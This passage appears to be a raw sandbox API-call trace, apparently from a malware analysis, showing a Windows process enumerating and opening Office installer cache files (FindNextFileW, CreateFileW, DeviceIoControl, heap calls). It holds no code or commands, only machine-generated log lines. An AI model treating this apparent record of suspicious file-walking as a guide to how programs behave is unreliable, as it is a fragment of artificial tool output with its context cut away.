Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60d0e0 [0041.084] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.084] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee4bb7b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x3e7e1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLR.cab", cAlternateFileName="")) returned 1 [0041.084] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0041.084] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0041.084] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0041.084] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0041.084] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0041.084] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83c88 [0041.084] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0041.084] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf89808 [0041.084] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf89ea8 [0041.084] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0041.084] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee3b15e0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x264400, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.msi", cAlternateFileName="")) returned 1 [0041.084] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0041.084] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0041.084] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0041.084] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0041.084] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0041.084] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf89828 [0041.084] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf89fb0 [0041.084] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0041.084] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.xml", cAlternateFileName="")) returned 1 [0041.084] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0041.084] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0041.085] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0041.085] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0041.085] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0041.085] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf89848 [0041.085] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8a0b8 [0041.085] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0041.085] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0041.085] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0041.085] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0041.085] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0041.085] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0041.085] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0041.085] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf89868 [0041.085] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8a1c0 [0041.085] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0041.085] FindNextFileW (in: hFindFile=0x60d0e0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0041.085] GetLastError () returned 0x12 [0041.085] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60d0a0 [0041.085] FindClose (in: hFindFile=0x60d0e0 | out: hFindFile=0x60d0e0) returned 1 [0041.085] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.085] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee4bb7b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x3e7e1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLR.cab", cAlternateFileName="")) returned 1 [0041.085] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee3b15e0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x264400, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.msi", cAlternateFileName="")) returned 1 [0041.085] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.xml", cAlternateFileName="")) returned 1 [0041.085] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0041.085] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0041.085] GetLastError () returned 0x12 [0041.085] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83b80) returned 1 [0041.085] FindClose (in: hFindFile=0x60d0a0 | out: hFindFile=0x60d0a0) returned 1 [0041.086] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83c88) returned 1 [0041.086] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf83a78) returned 1 [0041.086] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0115-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0041.086] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0041.086] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x174f3c0 | out: lpFileInformation=0x174f3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0041.086] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0041.086] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x174f404, lpLastWriteTime=0x174f404) returned 0 [0041.087] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf8be90 [0041.087] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf8be90, nOutBufferSize=0x4000, lpBytesReturned=0x174f45c, lpOverlapped=0x0 | out: lpOutBuffer=0xf8be90, lpBytesReturned=0x174f45c, lpOverlapped=0x0) returned 0 [0041.087] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8be90) returned 1 [0041.087] NtClose (Handle=0x180) returned 0x0 [0041.087] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0041.087] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0041.087] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c408 [0041.087] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83a78 [0041.087] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0041.087] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83c88 [0041.087] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60d0a0 [0041.108] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.108] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0042.069] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0042.069] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0042.071] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0042.072] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0042.073] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0042.073] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0042.074] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf83b80 [0042.074] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c408) returned 1 [0042.074] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf89888 [0042.074] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8a2c8 [0042.074] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0042.074] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa26c9d00, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xa26c9d00, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85142d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xccb88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0042.074] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0042.074] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0042.074] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0042.074] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0042.074] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0042.074] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0042.074] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85ab8b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x80760, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwdcw20.dll", cAlternateFileName="")) returned 1 [0042.074] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0042.074] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0042.074] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0042.074] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0042.074] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0042.074] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0042.075] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85f73a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7eda0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwtrig20.exe", cAlternateFileName="")) returned 1 [0042.075] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0042.075] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0042.075] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0042.075] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0042.075] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0042.075] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0042.075] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8d646800, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8d646800, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x741, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VC90.CRT.manifest", cAlternateFileName="")) returned 1 [0042.075] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0042.075] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0042.075] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0042.075] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0042.075] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0042.075] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf898a8 [0042.075] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8a3d0 [0042.075] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x1c0) returned 0xf85990 [0042.075] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf86470) returned 1 [0042.075] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0042.075] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8c333b00, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8c333b00, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe86b5a80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr90.dll", cAlternateFileName="")) returned 1 [0042.075] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0042.075] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0042.075] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0042.075] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0042.075] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0042.075] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0042.076] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7e3b3f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd79282, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeLR.cab", cAlternateFileName="")) returned 1 [0042.077] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0042.077] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0042.077] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0042.077] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0042.077] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0042.078] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf898c8 [0042.078] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8a4d8 [0042.078] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0042.079] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c4ba40, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x387e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.msi", cAlternateFileName="")) returned 1 [0042.079] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0042.079] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0042.080] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0042.080] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0042.080] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0042.080] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf898e8 [0042.080] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8a5e0 [0042.081] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0042.081] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.xml", cAlternateFileName="")) returned 1 [0042.082] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0042.082] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0042.082] RtlAllocateHeap 